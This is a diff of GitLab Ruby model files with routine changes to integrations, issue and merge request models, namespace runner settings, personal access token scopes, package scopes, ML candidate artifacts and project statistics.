diff --git a/app/models/integrations/base_slash_commands.rb b/app/models/integrations/base_slash_commands.rb
index 11ff7547325..619579a543a 100644
--- a/app/models/integrations/base_slash_commands.rb
+++ b/app/models/integrations/base_slash_commands.rb
@@ -66,7 +66,7 @@ module Integrations
# rubocop: disable CodeReuse/ServiceClass
def authorize_chat_name_url(params)
- ChatNames::AuthorizeUserService.new(self, params).execute
+ ChatNames::AuthorizeUserService.new(params).execute
end
# rubocop: enable CodeReuse/ServiceClass
end
diff --git a/app/models/integrations/chat_message/issue_message.rb b/app/models/integrations/chat_message/issue_message.rb
index ca8ef670e67..1c234630370 100644
--- a/app/models/integrations/chat_message/issue_message.rb
+++ b/app/models/integrations/chat_message/issue_message.rb
@@ -9,6 +9,7 @@ module Integrations
attr_reader :action
attr_reader :state
attr_reader :description
+ attr_reader :object_kind
def initialize(params)
super
@@ -21,6 +22,7 @@ module Integrations
@action = obj_attr[:action]
@state = obj_attr[:state]
@description = obj_attr[:description] || ''
+ @object_kind = params[:object_kind]
end
def attachments
@@ -32,7 +34,7 @@ module Integrations
def activity
{
- title: "Issue #{state} by #{strip_markup(user_combined_name)}",
+ title: "#{issue_type} #{state} by #{strip_markup(user_combined_name)}",
subtitle: "in #{project_link}",
text: issue_link,
image: user_avatar
@@ -42,7 +44,7 @@ module Integrations
private
def message
- "[#{project_link}] Issue #{issue_link} #{state} by #{strip_markup(user_combined_name)}"
+ "[#{project_link}] #{issue_type} #{issue_link} #{state} by #{strip_markup(user_combined_name)}"
end
def opened_issue?
@@ -69,6 +71,10 @@ module Integrations
def issue_title
"#{Issue.reference_prefix}#{issue_iid} #{strip_markup(title)}"
end
+
+ def issue_type
+ @issue_type ||= object_kind == 'incident' ? 'Incident' : 'Issue'
+ end
end
end
end
diff --git a/app/models/integrations/chat_message/pipeline_message.rb b/app/models/integrations/chat_message/pipeline_message.rb
index 88db40bea7f..f8a634be336 100644
--- a/app/models/integrations/chat_message/pipeline_message.rb
+++ b/app/models/integrations/chat_message/pipeline_message.rb
@@ -151,7 +151,7 @@ module Integrations
fields << failed_stages_field if failed_stages.any?
fields << failed_jobs_field if failed_jobs.any?
fields << yaml_error_field if pipeline.has_yaml_errors?
- fields << pipeline_name_field if Feature.enabled?(:pipeline_name, project) && pipeline.name.present?
+ fields << pipeline_name_field if pipeline.name.present?
fields
end
diff --git a/app/models/integrations/field.rb b/app/models/integrations/field.rb
index 53c8f5f623e..329c046075f 100644
--- a/app/models/integrations/field.rb
+++ b/app/models/integrations/field.rb
@@ -4,7 +4,7 @@ module Integrations
class Field
SECRET_NAME = %r/token|key|password|passphrase|secret/.freeze
- BOOLEAN_ATTRIBUTES = %i[required api_only exposes_secrets].freeze
+ BOOLEAN_ATTRIBUTES = %i[required api_only is_secret exposes_secrets].freeze
ATTRIBUTES = %i[
section type placeholder choices value checkbox_label
@@ -17,12 +17,13 @@ module Integrations
attr_reader :name, :integration_class
- def initialize(name:, integration_class:, type: 'text', api_only: false, **attributes)
+ def initialize(name:, integration_class:, type: 'text', is_secret: true, api_only: false, **attributes)
@name = name.to_s.freeze
@integration_class = integration_class
- attributes[:type] = SECRET_NAME.match?(@name) ? 'password' : type
+ attributes[:type] = SECRET_NAME.match?(@name) && is_secret ? 'password' : type
attributes[:api_only] = api_only
+ attributes[:is_secret] = is_secret
@attributes = attributes.freeze
invalid_attributes = attributes.keys - ATTRIBUTES
diff --git a/app/models/integrations/flowdock.rb b/app/models/integrations/flowdock.rb
deleted file mode 100644
index d7625cfb3d2..00000000000
--- a/app/models/integrations/flowdock.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-# frozen_string_literal: true
-
-# This integration is scheduled for removal.
-# All records must be deleted before the class can be removed.
-# https://gitlab.com/gitlab-org/gitlab/-/issues/379197
-module Integrations
- class Flowdock < Integration
- def readonly?
- true
- end
-
- def self.to_param
- 'flowdock'
- end
-
- def self.supported_events
- %w[]
- end
- end
-end
diff --git a/app/models/issue.rb b/app/models/issue.rb
index 1dd11ff8315..6744ee230b0 100644
--- a/app/models/issue.rb
+++ b/app/models/issue.rb
@@ -46,7 +46,7 @@ class Issue < ApplicationRecord
#
# This should be kept consistent with the enums used for the GraphQL issue list query in
# https://gitlab.com/gitlab-org/gitlab/-/blob/1379c2d7bffe2a8d809f23ac5ef9b4114f789c07/app/assets/javascripts/issues/list/constants.js#L154-158
- TYPES_FOR_LIST = %w(issue incident test_case task objective).freeze
+ TYPES_FOR_LIST = %w(issue incident test_case task objective key_result).freeze
# Types of issues that should be displayed on issue board lists
TYPES_FOR_BOARD_LIST = %w(issue incident).freeze
@@ -663,11 +663,6 @@ class Issue < ApplicationRecord
author&.banned?
end
- # Necessary until all issues are backfilled and we add a NOT NULL constraint on the DB
- def work_item_type
- super || WorkItems::Type.default_by_type(issue_type)
- end
-
def expire_etag_cache
key = Gitlab::Routing.url_helpers.realtime_changes_project_issue_path(project, self)
Gitlab::EtagCaching::Store.new.touch(key)
diff --git a/app/models/label_note.rb b/app/models/label_note.rb
index 19dede36abd..eda650f2fa2 100644
--- a/app/models/label_note.rb
+++ b/app/models/label_note.rb
@@ -4,12 +4,19 @@ class LabelNote < SyntheticNote
attr_accessor :resource_parent
attr_reader :events
+ def self.from_event(event, resource: nil, resource_parent: nil)
+ attrs = note_attributes('label', event, resource, resource_parent).merge(events: [event])
+
+ LabelNote.new(attrs)
+ end
+
def self.from_events(events, resource: nil, resource_parent: nil)
resource ||= events.first.issuable
- attrs = note_attributes('label', events.first, resource, resource_parent).merge(events: events)
+ label_note = from_event(events.first, resource: resource, resource_parent: resource_parent)
+ label_note.events = events
- LabelNote.new(attrs)
+ label_note
end
def events=(events)
@@ -37,8 +44,8 @@ class LabelNote < SyntheticNote
end
def note_text(html: false)
- added = labels_str(label_refs_by_action('add', html), prefix: 'added', suffix: added_suffix)
- removed = labels_str(label_refs_by_action('remove', html), prefix: removed_prefix)
+ added = labels_str(label_refs_by_action('add', html).uniq, prefix: 'added', suffix: added_suffix)
+ removed = labels_str(label_refs_by_action('remove', html).uniq, prefix: removed_prefix)
[added, removed].compact.join(' and ')
end
diff --git a/app/models/member.rb b/app/models/member.rb
index 107530daf51..ecf9013f197 100644
--- a/app/models/member.rb
+++ b/app/models/member.rb
@@ -386,10 +386,10 @@ class Member < ApplicationRecord
user.present?
end
- def accept_request
+ def accept_request(current_user)
return false unless request?
- updated = self.update(requested_at: nil)
+ updated = self.update(requested_at: nil, created_by: current_user)
after_accept_request if updated
updated
@@ -531,7 +531,7 @@ class Member < ApplicationRecord
def send_request
notification_service.new_access_request(self)
- todo_service.create_member_access_request(self) if source_type != 'Project'
+ todo_service.create_member_access_request_todos(self)
end
def post_create_hook
diff --git a/app/models/members/member_role.rb b/app/models/members/member_role.rb
index e9d7b1d3f80..36cbc97d049 100644
--- a/app/models/members/member_role.rb
+++ b/app/models/members/member_role.rb
@@ -11,6 +11,7 @@ class MemberRole < ApplicationRecord # rubocop:disable Gitlab/NamespacedClass
validates :base_access_level, presence: true
validate :belongs_to_top_level_namespace
validate :validate_namespace_locked, on: :update
+ validate :attributes_locked_after_member_associated, on: :update
validates_associated :members
@@ -27,4 +28,11 @@ class MemberRole < ApplicationRecord # rubocop:disable Gitlab/NamespacedClass
errors.add(:namespace, s_("MemberRole|can't be changed"))
end
+
+ def attributes_locked_after_member_associated
+ return unless members.present?
+
+ errors.add(:base, s_("MemberRole|cannot be changed because it is already assigned to a user. "\
+ "Please create a new Member Role instead"))
+ end
end
diff --git a/app/models/merge_request.rb b/app/models/merge_request.rb
index 78c6d983a3d..0012f098ab2 100644
--- a/app/models/merge_request.rb
+++ b/app/models/merge_request.rb
@@ -193,6 +193,12 @@ class MergeRequest < ApplicationRecord
merge_request.merge_error = nil
end
+ before_transition any => :merged do |merge_request|
+ if ::Feature.enabled?(:reset_merge_error_on_transition, merge_request.project)
+ merge_request.merge_error = nil
+ end
+ end
+
after_transition any => :opened do |merge_request|
merge_request.run_after_commit do
UpdateHeadPipelineForMergeRequestWorker.perform_async(merge_request.id)
@@ -436,6 +442,14 @@ class MergeRequest < ApplicationRecord
)
end
+ scope :without_hidden, -> {
+ if Feature.enabled?(:hide_merge_requests_from_banned_users)
+ where_not_exists(Users::BannedUser.where('merge_requests.author_id = banned_users.user_id'))
+ else
+ all
+ end
+ }
+
def self.total_time_to_merge
join_metrics
.merge(MergeRequest::Metrics.with_valid_time_to_merge)
@@ -2001,6 +2015,10 @@ class MergeRequest < ApplicationRecord
false # overridden in EE
end
+ def hidden?
+ Feature.enabled?(:hide_merge_requests_from_banned_users) && author&.banned?
+ end
+
private
attr_accessor :skip_fetch_ref
diff --git a/app/models/merge_request_diff.rb b/app/models/merge_request_diff.rb
index cff8911d84b..1395b8ff162 100644
--- a/app/models/merge_request_diff.rb
+++ b/app/models/merge_request_diff.rb
@@ -392,8 +392,13 @@ class MergeRequestDiff < ApplicationRecord
def diffs_in_batch(batch_page, batch_size, diff_options:)
fetching_repository_diffs(diff_options) do |comparison|
- reorder_diff_files!
- diffs_batch = diffs_in_batch_collection(batch_page, batch_size, diff_options: diff_options)
+ Gitlab::Metrics.measure(:diffs_reorder) do
+ reorder_diff_files!
+ end
+
+ diffs_batch = Gitlab::Metrics.measure(:diffs_collection) do
+ diffs_in_batch_collection(batch_page, batch_size, diff_options: diff_options)
+ end
if comparison
if diff_options[:paths].blank? && !without_files?
@@ -406,7 +411,9 @@ class MergeRequestDiff < ApplicationRecord
)
end
- comparison.diffs(diff_options)
+ Gitlab::Metrics.measure(:diffs_comparison) do
+ comparison.diffs(diff_options)
+ end
else
diffs_batch
end
diff --git a/app/models/milestone.rb b/app/models/milestone.rb
index da07d8dd9fc..b0676c25f8e 100644
--- a/app/models/milestone.rb
+++ b/app/models/milestone.rb
@@ -166,8 +166,6 @@ class Milestone < ApplicationRecord
end
def self.states_count(projects, groups = nil)
- return STATE_COUNT_HASH unless projects || groups
-
counts = Milestone
.for_projects_and_groups(projects, groups)
.reorder(nil)
diff --git a/app/models/ml/candidate.rb b/app/models/ml/candidate.rb
index f24161d598f..3ea46a8b703 100644
--- a/app/models/ml/candidate.rb
+++ b/app/models/ml/candidate.rb
@@ -2,6 +2,8 @@
module Ml
class Candidate < ApplicationRecord
+ PACKAGE_PREFIX = 'ml_candidate_'
+
enum status: { running: 0, scheduled: 1, finished: 2, failed: 3, killed: 4 }
validates :iid, :experiment, presence: true
@@ -16,20 +18,31 @@ module Ml
attribute :iid, default: -> { SecureRandom.uuid }
- scope :including_metrics_and_params, -> { includes(:latest_metrics, :params) }
+ scope :including_relationships, -> { includes(:latest_metrics, :params, :user) }
+
+ delegate :project_id, :project, to: :experiment
def artifact_root
"/#{package_name}/#{package_version}/"
end
def artifact
- ::Packages::Generic::PackageFinder.new(experiment.project).execute!(package_name, package_version)
- rescue ActiveRecord::RecordNotFound
- nil
+ artifact_lazy&.itself
+ end
+
+ def artifact_lazy
+ BatchLoader.for(id).batch do |candidate_ids, loader|
+ Packages::Package
+ .joins("INNER JOIN ml_candidates ON packages_packages.name=(concat('#{PACKAGE_PREFIX}', ml_candidates.id))")
+ .where(ml_candidates: { id: candidate_ids })
+ .find_each do |package|
+ loader.call(package.name.delete_prefix(PACKAGE_PREFIX).to_i, package)
+ end
+ end
end
def package_name
- "ml_candidate_#{iid}"
+ "#{PACKAGE_PREFIX}#{id}"
end
def package_version
diff --git a/app/models/namespace.rb b/app/models/namespace.rb
index d7d53956656..cf638f9b16c 100644
--- a/app/models/namespace.rb
+++ b/app/models/namespace.rb
@@ -11,17 +11,12 @@ class Namespace < ApplicationRecord
include FeatureGate
include FromUnion
include Gitlab::Utils::StrongMemoize
- include IgnorableColumns
include Namespaces::Traversal::Recursive
include Namespaces::Traversal::Linear
include EachBatch
include BlocksUnsafeSerialization
include Ci::NamespaceSettings
- # Temporary column used for back-filling project namespaces.
- # Remove it once the back-filling of all project namespaces is done.
- ignore_column :tmp_project_id, remove_with: '14.7', remove_after: '2022-01-22'
-
# Tells ActiveRecord not to store the full class name, in order to save some space
# https://gitlab.com/gitlab-org/gitlab/-/merge_requests/69794
self.store_full_sti_class = false
@@ -33,9 +28,11 @@ class Namespace < ApplicationRecord
NUMBER_OF_ANCESTORS_ALLOWED = 20
SR_DISABLED_AND_UNOVERRIDABLE = 'disabled_and_unoverridable'
+ # DISABLED_WITH_OVERRIDE is deprecated in favour of DISABLED_AND_OVERRIDABLE.
SR_DISABLED_WITH_OVERRIDE = 'disabled_with_override'
+ SR_DISABLED_AND_OVERRIDABLE = 'disabled_and_overridable'
SR_ENABLED = 'enabled'
- SHARED_RUNNERS_SETTINGS = [SR_DISABLED_AND_UNOVERRIDABLE, SR_DISABLED_WITH_OVERRIDE, SR_ENABLED].freeze
+ SHARED_RUNNERS_SETTINGS = [SR_DISABLED_AND_UNOVERRIDABLE, SR_DISABLED_WITH_OVERRIDE, SR_DISABLED_AND_OVERRIDABLE, SR_ENABLED].freeze
URL_MAX_LENGTH = 255
PATH_TRAILING_VIOLATIONS = %w[.git .atom .].freeze
@@ -87,6 +84,7 @@ class Namespace < ApplicationRecord
has_many :timelog_categories, class_name: 'TimeTracking::TimelogCategory'
has_many :achievements, class_name: 'Achievements::Achievement'
+ has_many :namespace_commit_emails, class_name: 'Users::NamespaceCommitEmail'
validates :owner, presence: true, if: ->(n) { n.owner_required? }
validates :name,
@@ -134,6 +132,10 @@ class Namespace < ApplicationRecord
to: :namespace_settings
delegate :runner_registration_enabled, :runner_registration_enabled?, :runner_registration_enabled=,
to: :namespace_settings
+ delegate :allow_runner_registration_token,
+ :allow_runner_registration_token?,
+ :allow_runner_registration_token=,
+ to: :namespace_settings
delegate :maven_package_requests_forwarding,
:pypi_package_requests_forwarding,
:npm_package_requests_forwarding,
@@ -556,7 +558,7 @@ class Namespace < ApplicationRecord
if shared_runners_enabled
SR_ENABLED
elsif allow_descendants_override_disabled_shared_runners
- SR_DISABLED_WITH_OVERRIDE
+ SR_DISABLED_AND_OVERRIDABLE
else
SR_DISABLED_AND_UNOVERRIDABLE
end
@@ -566,10 +568,10 @@ class Namespace < ApplicationRecord
case other_setting
when SR_ENABLED
false
- when SR_DISABLED_WITH_OVERRIDE
+ when SR_DISABLED_WITH_OVERRIDE, SR_DISABLED_AND_OVERRIDABLE
shared_runners_setting == SR_ENABLED
when SR_DISABLED_AND_UNOVERRIDABLE
- shared_runners_setting == SR_ENABLED || shared_runners_setting == SR_DISABLED_WITH_OVERRIDE
+ shared_runners_setting == SR_ENABLED || shared_runners_setting == SR_DISABLED_AND_OVERRIDABLE || shared_runners_setting == SR_DISABLED_WITH_OVERRIDE
else
raise ArgumentError
end
diff --git a/app/models/namespace_setting.rb b/app/models/namespace_setting.rb
index 5081d5cdafe..7f65fb3a378 100644
--- a/app/models/namespace_setting.rb
+++ b/app/models/namespace_setting.rb
@@ -69,6 +69,12 @@ class NamespaceSetting < ApplicationRecord
!self.class.where(namespace_id: namespace.ancestors, runner_registration_enabled: false).exists?
end
+ def allow_runner_registration_token?
+ settings = Gitlab::CurrentSettings.current_application_settings
+
+ settings.allow_runner_registration_token && namespace.root_ancestor.allow_runner_registration_token
+ end
+
private
def all_ancestors_allow_diff_preview_in_email?
diff --git a/app/models/note.rb b/app/models/note.rb
index 052df6142c5..73c8e72d8b0 100644
--- a/app/models/note.rb
+++ b/app/models/note.rb
@@ -125,6 +125,7 @@ class Note < ApplicationRecord
scope :for_commit_id, ->(commit_id) { where(noteable_type: "Commit", commit_id: commit_id) }
scope :system, -> { where(system: true) }
scope :user, -> { where(system: false) }
+ scope :not_internal, -> { where(internal: false) }
scope :common, -> { where(noteable_type: ["", nil]) }
scope :fresh, -> { order_created_asc.with_order_id_asc }
scope :updated_after, ->(time) { where('updated_at > ?', time) }
@@ -133,9 +134,16 @@ class Note < ApplicationRecord
scope :inc_author, -> { includes(:author) }
scope :inc_note_diff_file, -> { includes(:note_diff_file) }
scope :with_api_entity_associations, -> { preload(:note_diff_file, :author) }
- scope :inc_relations_for_view, -> do
- includes({ project: :group }, { author: :status }, :updated_by, :resolved_by, :award_emoji,
- { system_note_metadata: :description_version }, :note_diff_file, :diff_note_positions, :suggestions)
+ scope :inc_relations_for_view, ->(noteable = nil) do
+ relations = [{ project: :group }, { author: :status }, :updated_by, :resolved_by,
+ :award_emoji, { system_note_metadata: :description_version }, :suggestions]
+
+ if noteable.nil? || DiffNote.noteable_types.include?(noteable.class.name) ||
+ Feature.disabled?(:skip_notes_diff_include)
+ relations += [:note_diff_file, :diff_note_positions]
+ end
+
+ includes(relations)
end
scope :with_notes_filter, -> (notes_filter) do
diff --git a/app/models/packages/nuget.rb b/app/models/packages/nuget.rb
index 6bedd488c8a..9a9e5b6605a 100644
--- a/app/models/packages/nuget.rb
+++ b/app/models/packages/nuget.rb
@@ -3,6 +3,7 @@ module Packages
module Nuget
TEMPORARY_PACKAGE_NAME = 'NuGet.Temporary.Package'
TEMPORARY_SYMBOL_PACKAGE_NAME = 'NuGet.Temporary.SymbolPackage'
+ FORMAT = 'nupkg'
def self.table_name_prefix
'packages_nuget_'
diff --git a/app/models/packages/package.rb b/app/models/packages/package.rb
index 17c5415939c..966165f9ad7 100644
--- a/app/models/packages/package.rb
+++ b/app/models/packages/package.rb
@@ -36,6 +36,7 @@ class Packages::Package < ApplicationRecord
# TODO: put the installable default scope on the :package_files association once the dependent: :destroy is removed
# See https://gitlab.com/gitlab-org/gitlab/-/issues/349191
has_many :installable_package_files, -> { installable }, class_name: 'Packages::PackageFile', inverse_of: :package
+ has_many :installable_nuget_package_files, -> { installable.with_nuget_format }, class_name: 'Packages::PackageFile', inverse_of: :package
has_many :dependency_links, inverse_of: :package, class_name: 'Packages::DependencyLink'
has_many :tags, inverse_of: :package, class_name: 'Packages::Tag'
has_one :conan_metadatum, inverse_of: :package, class_name: 'Packages::Conan::Metadatum'
@@ -128,6 +129,7 @@ class Packages::Package < ApplicationRecord
scope :including_project_namespace_route, -> { includes(project: { namespace: :route }) }
scope :including_tags, -> { includes(:tags) }
scope :including_dependency_links, -> { includes(dependency_links: :dependency) }
+ scope :including_dependency_links_with_nuget_metadatum, -> { includes(dependency_links: [:dependency, :nuget_metadatum]) }
scope :with_conan_channel, ->(package_channel) do
joins(:conan_metadatum).where(packages_conan_metadata: { package_channel: package_channel })
@@ -149,12 +151,14 @@ class Packages::Package < ApplicationRecord
end
scope :preload_composer, -> { preload(:composer_metadatum) }
scope :preload_npm_metadatum, -> { preload(:npm_metadatum) }
+ scope :preload_nuget_metadatum, -> { preload(:nuget_metadatum) }
scope :preload_pypi_metadatum, -> { preload(:pypi_metadatum) }
scope :without_nuget_temporary_name, -> { where.not(name: Packages::Nuget::TEMPORARY_PACKAGE_NAME) }
scope :has_version, -> { where.not(version: nil) }
scope :preload_files, -> { preload(:installable_package_files) }
+ scope :preload_nuget_files, -> { preload(:installable_nuget_package_files) }
scope :preload_pipelines, -> { preload(pipelines: :user) }
scope :last_of_each_version, -> { where(id: all.select('MAX(id) AS id').group(:version)) }
scope :limit_recent, ->(limit) { order_created_desc.limit(limit) }
diff --git a/app/models/packages/package_file.rb b/app/models/packages/package_file.rb
index 3d56c563ec8..e1486c11298 100644
--- a/app/models/packages/package_file.rb
+++ b/app/models/packages/package_file.rb
@@ -44,6 +44,7 @@ class Packages::PackageFile < ApplicationRecord
scope :with_file_name_like, ->(file_name) { where(arel_table[:file_name].matches(file_name)) }
scope :with_files_stored_locally, -> { where(file_store: ::Packages::PackageFileUploader::Store::LOCAL) }
scope :with_format, ->(format) { where(::Packages::PackageFile.arel_table[:file_name].matches("%.#{format}")) }
+ scope :with_nuget_format, -> { with_format(Packages::Nuget::FORMAT) }
scope :preload_package, -> { preload(:package) }
scope :preload_pipelines, -> { preload(pipelines: :user) }
diff --git a/app/models/pages/lookup_path.rb b/app/models/pages/lookup_path.rb
index cf0f0f9e92f..a1ba48f3ab0 100644
--- a/app/models/pages/lookup_path.rb
+++ b/app/models/pages/lookup_path.rb
@@ -46,7 +46,7 @@ module Pages
strong_memoize_attr :source
def prefix
- if project.pages_group_root?
+ if project.pages_namespace_url == project.pages_url
'/'
else
project.full_path.delete_prefix(trim_prefix) + '/'
diff --git a/app/models/pages_domain.rb b/app/models/pages_domain.rb
index 4e3f4b0c328..909658214fd 100644
--- a/app/models/pages_domain.rb
+++ b/app/models/pages_domain.rb
@@ -78,6 +78,10 @@ class PagesDomain < ApplicationRecord
find_by("LOWER(domain) = LOWER(?)", domain)
end
+ def self.ids_for_project(project_id)
+ where(project_id: project_id).ids
+ end
+
def verified?
!!verified_at
end
@@ -209,7 +213,7 @@ class PagesDomain < ApplicationRecord
return unless pages_deployed?
cache = if Feature.enabled?(:cache_pages_domain_api, project.root_namespace)
- ::Gitlab::Pages::CacheControl.for_project(project.id)
+ ::Gitlab::Pages::CacheControl.for_domain(id)
end
Pages::VirtualDomain.new(
diff --git a/app/models/personal_access_token.rb b/app/models/personal_access_token.rb
index 887ef36cc17..0da205f86a5 100644
--- a/app/models/personal_access_token.rb
+++ b/app/models/personal_access_token.rb
@@ -21,6 +21,11 @@ class PersonalAccessToken < ApplicationRecord
after_initialize :set_default_scopes, if: :persisted?
before_save :ensure_token
+ # During the implementation of Admin Mode for API, tokens of
+ # administrators should automatically get the `admin_mode` scope as well
+ # See https://gitlab.com/gitlab-org/gitlab/-/issues/42692
+ before_create :add_admin_mode_scope, if: :user_admin?
+
scope :active, -> { not_revoked.not_expired }
scope :expiring_and_not_notified, ->(date) { where(["revoked = false AND expire_notification_delivered = false AND expires_at >= CURRENT_DATE AND expires_at <= ?", date]) }
scope :expired_today_and_not_notified, -> { where(["revoked = false AND expires_at = CURRENT_DATE AND after_expiry_notification_delivered = false"]) }
@@ -79,7 +84,12 @@ class PersonalAccessToken < ApplicationRecord
protected
def validate_scopes
- unless revoked || scopes.all? { |scope| Gitlab::Auth.all_available_scopes.include?(scope.to_sym) }
+ # During the implementation of Admin Mode for API,
+ # the `admin_mode` scope is not yet part of `all_available_scopes` but still valid.
+ # See https://gitlab.com/gitlab-org/gitlab/-/issues/42692
+ valid_scopes = Gitlab::Auth.all_available_scopes + [Gitlab::Auth::ADMIN_MODE_SCOPE]
+
+ unless revoked || scopes.all? { |scope| valid_scopes.include?(scope.to_sym) }
errors.add :scopes, "can only contain available scopes"
end
end
@@ -91,6 +101,14 @@ class PersonalAccessToken < ApplicationRecord
self.scopes = Gitlab::Auth::DEFAULT_SCOPES if self.scopes.empty?
end
+
+ def user_admin?
+ user.admin? # rubocop: disable Cop/UserAdmin
+ end
+
+ def add_admin_mode_scope
+ self.scopes += [Gitlab::Auth::ADMIN_MODE_SCOPE.to_s]
+ end
end
PersonalAccessToken.prepend_mod_with('PersonalAccessToken')
diff --git a/app/models/project.rb b/app/models/project.rb
index 73dbb55a07b..561a842f23a 100644
--- a/app/models/project.rb
+++ b/app/models/project.rb
@@ -170,6 +170,7 @@ class Project < ApplicationRecord
end
# Project integrations
+ has_one :apple_app_store_integration, class_name: 'Integrations::AppleAppStore'
has_one :asana_integration, class_name: 'Integrations::Asana'
has_one :assembla_integration, class_name: 'Integrations::Assembla'
has_one :bamboo_integration, class_name: 'Integrations::Bamboo'
@@ -269,6 +270,7 @@ class Project < ApplicationRecord
has_many :integrations
has_many :alert_hooks_integrations, -> { alert_hooks }, class_name: 'Integration'
+ has_many :incident_hooks_integrations, -> { incident_hooks }, class_name: 'Integration'
has_many :archive_trace_hooks_integrations, -> { archive_trace_hooks }, class_name: 'Integration'
has_many :confidential_issue_hooks_integrations, -> { confidential_issue_hooks }, class_name: 'Integration'
has_many :confidential_note_hooks_integrations, -> { confidential_note_hooks }, class_name: 'Integration'
@@ -291,18 +293,24 @@ class Project < ApplicationRecord
has_many :project_authorizations
has_many :authorized_users, through: :project_authorizations, source: :user, class_name: 'User'
+
has_many :project_members, -> { where(requested_at: nil) },
as: :source, dependent: :delete_all # rubocop:disable Cop/ActiveRecordDependent
-
- has_many :project_callouts, class_name: 'Users::ProjectCallout', foreign_key: :project_id
-
alias_method :members, :project_members
- has_many :users, through: :project_members
+ has_many :namespace_members, ->(project) { where(requested_at: nil).unscope(where: %i[source_id source_type]) },
+ primary_key: :project_namespace_id, foreign_key: :member_namespace_id, inverse_of: :project, class_name: 'ProjectMember'
has_many :requesters, -> { where.not(requested_at: nil) },
as: :source, class_name: 'ProjectMember', dependent: :delete_all # rubocop:disable Cop/ActiveRecordDependent
+ has_many :namespace_requesters, ->(project) { where.not(requested_at: nil).unscope(where: %i[source_id source_type]) },
+ primary_key: :project_namespace_id, foreign_key: :member_namespace_id, inverse_of: :project, class_name: 'ProjectMember'
+
has_many :members_and_requesters, as: :source, class_name: 'ProjectMember'
+ has_many :users, through: :project_members
+
+ has_many :project_callouts, class_name: 'Users::ProjectCallout', foreign_key: :project_id
+
has_many :deploy_keys_projects, inverse_of: :project
has_many :deploy_keys, through: :deploy_keys_projects
has_many :users_star_projects
@@ -750,16 +758,13 @@ class Project < ApplicationRecord
end
end
- # Defines instance methods:
+ # Define two instance methods:
#
- # - only_allow_merge_if_pipeline_succeeds?(inherit_group_setting: false)
- # - allow_merge_on_skipped_pipeline?(inherit_group_setting: false)
- # - only_allow_merge_if_all_discussions_are_resolved?(inherit_group_setting: false)
- # - only_allow_merge_if_pipeline_succeeds_locked?
- # - allow_merge_on_skipped_pipeline_locked?
- # - only_allow_merge_if_all_discussions_are_resolved_locked?
+ # - [attribute]?(inherit_group_setting) Returns the final value after inheriting the parent group
+ # - [attribute]_locked? Returns true if the value is inherited from the parent group
+ #
+ # These functions will be overridden in EE to make sense afterwards
def self.cascading_with_parent_namespace(attribute)
- # method overriden in EE
define_method("#{attribute}?") do |inherit_group_setting: false|
self.public_send(attribute) # rubocop:disable GitlabSecurity/PublicSend
end
@@ -1610,7 +1615,9 @@ class Project < ApplicationRecord
end
def disabled_integrations
- []
+ disabled_integrations = []
+ disabled_integrations << 'apple_app_store' unless Feature.enabled?(:apple_app_store_integration, self)
+ disabled_integrations
end
def find_or_initialize_integration(name)
@@ -1722,14 +1729,8 @@ class Project < ApplicationRecord
def execute_integrations(data, hooks_scope = :push_hooks)
# Call only service hooks that are active for this scope
run_after_commit_or_now do
- if use_integration_relations?
- association("#{hooks_scope}_integrations").reader.each do |integration|
- integration.async_execute(data)
- end
- else
- integrations.public_send(hooks_scope).each do |integration| # rubocop:disable GitlabSecurity/PublicSend
- integration.async_execute(data)
- end
+ association("#{hooks_scope}_integrations").reader.each do |integration|
+ integration.async_execute(data)
end
end
end
@@ -2100,7 +2101,7 @@ class Project < ApplicationRecord
pages_metadatum&.deployed?
end
- def pages_group_url
+ def pages_namespace_url
# The host in URL always needs to be downcased
Gitlab.config.pages.url.sub(%r{^https?://}) do |prefix|
"#{prefix}#{pages_subdomain}."
@@ -2108,19 +2109,23 @@ class Project < ApplicationRecord
end
def pages_url
- url = pages_group_url
+ url = pages_namespace_url
url_path = full_path.partition('/').last
+ namespace_url = "#{Settings.pages.protocol}://#{url_path}".downcase
+
+ if Rails.env.development?
+ url_without_port = URI.parse(url)
+ url_without_port.port = nil
+
+ return url if url_without_port.to_s == namespace_url
+ end
# If the project path is the same as host, we serve it as group page
- return url if url == "#{Settings.pages.protocol}://#{url_path}".downcase
+ return url if url == namespace_url
"#{url}/#{url_path}"
end
- def pages_group_root?
- pages_group_url == pages_url
- end
-
def pages_subdomain
full_path.partition('/').first
end
@@ -2920,12 +2925,6 @@ class Project < ApplicationRecord
Gitlab::Routing.url_helpers.activity_project_path(self)
end
- def increment_statistic_value(statistic, delta)
- return if pending_delete?
-
- ProjectStatistics.increment_statistic(self, statistic, delta)
- end
-
def ci_forward_deployment_enabled?
return false unless ci_cd_settings
@@ -3369,12 +3368,6 @@ class Project < ApplicationRecord
ProjectFeature::PRIVATE
end
end
-
- def use_integration_relations?
- strong_memoize(:use_integration_relations) do
- Feature.enabled?(:cache_project_integrations, self)
- end
- end
end
Project.prepend_mod_with('Project')
diff --git a/app/models/project_setting.rb b/app/models/project_setting.rb
index 7116ccd9824..db86bb5e1fb 100644
--- a/app/models/project_setting.rb
+++ b/app/models/project_setting.rb
@@ -59,7 +59,7 @@ class ProjectSetting < ApplicationRecord
!!super
end
end
- strong_memoize_attr :show_diff_preview_in_email?, :show_diff_preview_in_email
+ strong_memoize_attr :show_diff_preview_in_email?
private
diff --git a/app/models/project_statistics.rb b/app/models/project_statistics.rb
index 506f6305791..732dadc03d9 100644
--- a/app/models/project_statistics.rb
+++ b/app/models/project_statistics.rb
@@ -123,16 +123,37 @@ class ProjectStatistics < ApplicationRecord
# through counter_attribute_after_commit
#
# For non-counter attributes, storage_size is updated depending on key => [columns] in INCREMENTABLE_COLUMNS
- def self.increment_statistic(project, key, amount)
+ def self.increment_statistic(project, key, increment)
+ return if project.pending_delete?
+
+ project.statistics.try do |project_statistics|
+ project_statistics.increment_statistic(key, increment)
+ end
+ end
+
+ def self.bulk_increment_statistic(project, key, increments)
+ unless Feature.enabled?(:project_statistics_bulk_increment, type: :development)
+ total_amount = Gitlab::Counters::Increment.new(amount: increments.sum(&:amount))
+ return increment_statistic(project, key, total_amount)
+ end
+
+ return if project.pending_delete?
+
project.statistics.try do |project_statistics|
- project_statistics.increment_statistic(key, amount)
+ project_statistics.bulk_increment_statistic(key, increments)
end
end
- def increment_statistic(key, amount)
+ def increment_statistic(key, increment)
+ raise ArgumentError, "Cannot increment attribute: #{key}" unless incrementable_attribute?(key)
+
+ increment_counter(key, increment)
+ end
+
+ def bulk_increment_statistic(key, increments)
raise ArgumentError, "Cannot increment attribute: #{key}" unless incrementable_attribute?(key)
- increment_counter(key, amount)
+ bulk_increment_counter(key, increments)
end
private
